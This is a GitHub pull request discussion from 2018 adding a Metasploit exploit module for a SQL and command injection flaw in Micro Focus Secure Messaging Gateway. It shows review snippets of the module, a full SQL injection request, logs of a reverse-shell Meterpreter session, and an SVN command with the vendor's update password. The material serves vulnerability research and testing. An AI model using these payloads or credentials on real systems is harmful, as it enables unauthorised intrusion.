New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding Micro Focus Secure Messaging Gateway RCE #10255

Merged
merged 4 commits into from Jul 31, 2018

Conversation

Projects
None yet
6 participants
@mmetince
Contributor

mmetince commented Jul 4, 2018

This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway. An unauthenticated user can execute a terminal command under the context of the web user.

Verification

A successful check of the exploit will look like this:

  • Start msfconsole
  • use exploit/linux/http/microfocus_secure_messaging_gateway
  • Set RHOST
  • Set LHOST
  • Run check
  • Verify that you are seeing The target is vulnerable
  • Run exploit
  • Verify that you are seeing Creating an user with appropriate privileges in console.
  • Verify that you are seeing User successfully created. Username : rmcynlbredxqh in console.
  • Verify that you are seeing Authenticating with created user in console.
  • Verify that you are seeing Successfully authenticated in console.
  • Verify that you are seeing Creating a domain with a malformed DKIM data in console.
  • Verify that you are seeing Payload is successfully implanted in console.
  • Verify that you are seeing Triggerring an implanted payload in console.
  • Verify that you are getting meterpreter session.

Technical Details and Module Demo
https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/

@sempervictus

awesome, thank you. DKIM seems to be coming up more in recent exploits.

@bcoles bcoles added docs module labels Jul 4, 2018

fail_with Failure::Unknown, 'Something went wrong'
end

def check

This comment has been minimized.

@bcoles

bcoles Jul 4, 2018

Contributor

The rand_text_* methods now accept a range as an argument.

Exploit is redundant in this context.

It's polite to print a verbose error message and return CheckCode::Unknown when the connection fails.

Refactored:

  def check
    r = rand_text_numeric(15..35)
    res = execute_query("SELECT #{r}")

    unless res?
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body.include?(r)
      return CheckCode::Safe
    end

    CheckCode::Vulnerable
  end

This comment has been minimized.

@mmetince

mmetince Jul 4, 2018

Contributor

Done, thanks for reviewing !

cookie = login
implant_payload(cookie)

print_status('Triggerring an implanted payload')

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

Triggering

- [ ] **Verify** that you are seeing `Successfully authenticated` in console.
- [ ] **Verify** that you are seeing `Creating a domain with a malformed DKIM data` in console.
- [ ] **Verify** that you are seeing `Payload is successfully implanted` in console.
- [ ] **Verify** that you are seeing `Triggerring an implanted payload` in console.

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

Triggering


**Vulnerable Application Installation Steps**

Complate following trial submission form. You will be able to download the product as a OVA or ISO file.

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

Complete

'cache' => 0,
},
'vars_post' => {
'StateData' => '[{"ouid":1}]',

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

Can the 1 be randomized, or does it need to be the same integer as used in the api/1/enginelist.php path and elsewhere?

If it's the same integer used in all instances, it may be worthwhile creating a class variable @id = 1 at the start of the exploit method, then using that variable throughout. It may or may not also be possible to randomize this integer, depending on how the app works.

This comment has been minimized.

@mmetince

mmetince Jul 5, 2018

Contributor

It must be a 1. Is it really neccessery to defined it as a class variable ?

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

Nope, a class variable was a suggestion, if ouid, api/1/enginelist.php, tempDkim_1, etc, were all related.


if res && res.code == 200 && res.body.include?('DbNodeId')
# Defining as global variable since we need to access them later within clean up function.
@domainid = JSON.parse(res.body)['Nodes'][0]['DbNodeId']

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

JSON.parse is likely to raise in the event something goes horribly wrong.

It may be worthwhile rescuing from the method:

  def implant_payload(cookie)
    ...
  rescue => e
    fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}"
  end
def create_user
# We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection
# issue location where requires a valid session !
print_status('Creating an user with appropriate privileges')

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

Creating a user

English is silly

print_status('Creating an user with appropriate privileges')

# Defining as global variable since we need to access them later within clean up function.
@username = rand_text_alpha_lower(5 + rand(20))

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

You can use a range here too. rand_text_alpha_lower(5..25)


# Defining as global variable since we need to access them later within clean up function.
@username = rand_text_alpha_lower(5 + rand(20))
@userid = rand_text_numeric(6 + rand(2))

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

You can use a range here too. rand_text_numeric(6..8)


register_options(
[
Opt::RPORT(80),

This comment has been minimized.

@bcoles

bcoles Jul 5, 2018

Contributor

Opt::RPORT(80) is implied for HTTP modules. It should be safe to remove this.

I think TARGETURI is also implied, but it's fine to leave it in.

@mmetince

This comment has been minimized.

Contributor

mmetince commented Jul 5, 2018

Thanks for review @bcoles 🤘

@mmetince

This comment has been minimized.

Contributor

mmetince commented Jul 18, 2018

Ping 🏓

@wchen-r7 wchen-r7 self-assigned this Jul 24, 2018

@wchen-r7

This comment has been minimized.

Contributor

wchen-r7 commented Jul 24, 2018

I will try to pick this up. @mmetince, does it look like I have the correct ISO to test? (Just wanted to confirm before I start)

AUS-MBP-4149:Downloads wchen$ ls SecureMessagingGateway-Q2-2018.iso 
SecureMessagingGateway-Q2-2018.iso
AUS-MBP-4149:Downloads wchen$ md5 SecureMessagingGateway-Q2-2018.iso 
MD5 (SecureMessagingGateway-Q2-2018.iso) = 4caa48f837fb816c986422a402d7e7cc
@mmetince

This comment has been minimized.

Contributor

mmetince commented Jul 25, 2018

Thanks for picking this up @wchen-r7 ! Unfortunately, I've already removed iso file of this product (but still keeping vm). But installation process is just 5 minutes like next, next, next. Is it possible for you to try this module against a iso that you already download ? It has been only 3 week since they released a patch so Q2-2018 is possibly vulnerable too..

@wchen-r7

This comment has been minimized.

Contributor

wchen-r7 commented Jul 27, 2018

Cool, I'll give it a try and let you know. Thanks.

Please keep your VM for awhile because if mine doesn't work, I will need your VM :-)

@wchen-r7

This comment has been minimized.

Contributor

wchen-r7 commented Jul 30, 2018

@mmetince The ISO is no longer vulnerable. It looks like it downloads the code from SVN, and looks like that thing is patched in the repo:

msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > run

[*] Started reverse TCP handler on 172.16.249.1:4444 
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > check
[*] 172.16.249.100:80 The target is not exploitable.
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > 

Could you please send me a pcap instead? Thanks.

# get back the output of query !
#
r = rand_text_alphanumeric(3 + rand(3))
sql = r

This comment has been minimized.

@wchen-r7

wchen-r7 Jul 30, 2018

Contributor

Kind of odd about this.... why does it look like you're preparing the sql variable, but you never actually use it?

This comment has been minimized.

@mmetince

mmetince Jul 30, 2018

Contributor

Haha ! Nice catch, but let me tell you something I truly don't understand. That code is working as if I have use sql variable instead of r. Changing 'appkey' => r to 'appkey' => sql doesn't apply any changes. What am I missing in here ?

msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > recheck
[*] Reloading module...

********************
####################
# Request:
####################
POST /api/1/enginelist.php HTTP/1.1
Host: 12.0.0.25
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 981

appkey=9C7%27%29%20LEFT%20JOIN%20ScanEngineProperty%20AS%20ScanEngineBindAddressPlain%20ON%20ScanEngineBindAddressPlain.idScanEngine%3dScanEngineProperty.idScanEngine%20LEFT%20JOIN%20ScanEngineProperty%20AS%20ScanEngineBindAddressSsl%20ON%20ScanEngineBindAddressSsl.idScanEngine%3dScanEngineProperty.idScanEngine%20LEFT%20JOIN%20ScanEngineProperty%20AS%20ScanEngineEnableSsl%20ON%20ScanEngineEnableSsl.idScanEngine%3dScanEngineProperty.idScanEngine%3b%20SELECT%2057537531420885751660%3b%20--%209C7%27%29%20LEFT%20JOIN%20ScanEngineProperty%20AS%20ScanEngineBindAddressPlain%20ON%20ScanEngineBindAddressPlain.idScanEngine%3dScanEngineProperty.idScanEngine%20LEFT%20JOIN%20ScanEngineProperty%20AS%20ScanEngineBindAddressSsl%20ON%20ScanEngineBindAddressSsl.idScanEngine%3dScanEngineProperty.idScanEngine%20LEFT%20JOIN%20ScanEngineProperty%20AS%20ScanEngineEnableSsl%20ON%20ScanEngineEnableSsl.idScanEngine%3dScanEngineProperty.idScanEngine%3b%20SELECT%2057537531420885751660%3b%20--%20
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 30 Jul 2018 21:10:20 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 176
Content-Type: text/html; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?><response><engines><engine><host>57537531420885751660</host><description></description><priority></priority></engine></engines></response>
[+] 12.0.0.25:80 The target is vulnerable.

This comment has been minimized.

@wvu-r7

wvu-r7 Jul 30, 2018

Contributor

Dumb question: did you reload the module?

This comment has been minimized.

@wvu-r7

wvu-r7 Jul 30, 2018

Contributor

Edit: you used recheck, so yes.

This comment has been minimized.

@wvu-r7

wvu-r7 Jul 30, 2018

Contributor

The answer: you're modifying the same string object.

This comment has been minimized.

@wvu-r7

wvu-r7 Jul 30, 2018

Contributor

You want to start with sql = rand_text_alphanumeric(3 + rand(3)).

This comment has been minimized.

@wvu-r7

wvu-r7 Jul 30, 2018

Contributor

Or make it an empty string, rather, since you're using r again below.

This comment has been minimized.

@wvu-r7

wvu-r7 Jul 30, 2018

Contributor

If the random strings can be different (looks like it?), just do two different random strings and drop r.

This comment has been minimized.

if res && res.code == 200 && res.body.include?('DbNodeId')
# Defining as global variable since we need to access them later within clean up function.
begin
@domainid = JSON.parse(res.body)['Nodes'][0]['DbNodeId']

This comment has been minimized.

@wvu-r7

wvu-r7 Jul 30, 2018

Contributor

Consider get_json_document. It'll rescue JSON::ParserError for you.

end
print_good('Payload is successfully implanted')
else
something_went_wrong

This comment has been minimized.

@wvu-r7

wvu-r7 Jul 30, 2018

Contributor

😆

@mmetince

This comment has been minimized.

Contributor

mmetince commented Jul 30, 2018

@wchen-r7 I've send pcap file to the msfdev@metasploit.com

@wvu-r7

This comment has been minimized.

Contributor

wvu-r7 commented Jul 30, 2018

Hi, I modified /opt/gwavapreinstall.sh as follows:

sudo svn co --username gwavaupdate --password gwavam8 --non-interactive https://gwava7updates.gwava.com/update/gwava7/release@444 $GWAVA_DIR

r444 precedes the patched revision.

msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > check
[+] 192.168.56.102:80 The target is vulnerable.
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > run

[*] Started reverse TCP handler on 192.168.56.101:4444
[*] Creating a user with appropriate privileges
[+] User successfully created. Username : zjfrdvmkzxxikrvsuskstne
[*] Authenticating with created user
[+] Successfully authenticated
[*] Creating a domain record with a malformed DKIM data
[+] Payload is successfully implanted
[*] Triggering an implanted payload
[*] Sending stage (37775 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.102:49536) at 2018-07-30 17:24:23 -0500
[*] Cleaning up...

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : gwava7.gwava.com
OS          : Linux gwava7.gwava.com 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
Meterpreter : php/linux
meterpreter >
@wchen-r7

This comment has been minimized.

Contributor

wchen-r7 commented Jul 31, 2018

Nice. I'm doing that too right now. I'll mention this in the documentation and land it. Thanks.

@wchen-r7

This comment has been minimized.

Contributor

wchen-r7 commented Jul 31, 2018

Funny problem, but the very first time you try the module, it may not work, but the second time it will:

msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set rhosts 172.16.249.100
rhosts => 172.16.249.100
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > check
[*] 172.16.249.100:80 The target is not exploitable.
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > show options

Module options (exploit/linux/http/microfocus_secure_messaging_gateway):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.16.249.100   yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the vulnerable instance
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > check
[+] 172.16.249.100:80 The target is vulnerable.
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > 

@wchen-r7 wchen-r7 merged commit 48a903f into rapid7:master Jul 31, 2018

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

wchen-r7 added a commit that referenced this pull request Jul 31, 2018

@wchen-r7

This comment has been minimized.

Contributor

wchen-r7 commented Jul 31, 2018

Release Notes

The Micro Focus Secure Messaging Gateway RCE module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway. An unauthenticated user can execute a terminal command under the context of the web user.

msjenkins-r7 added a commit that referenced this pull request Jul 31, 2018

@wvu-r7

This comment has been minimized.

Contributor

wvu-r7 commented Jul 31, 2018

Cool, thank you both! (And one @bcoles.)

@tdoan-r7 tdoan-r7 added the rn-exploit label Aug 15, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment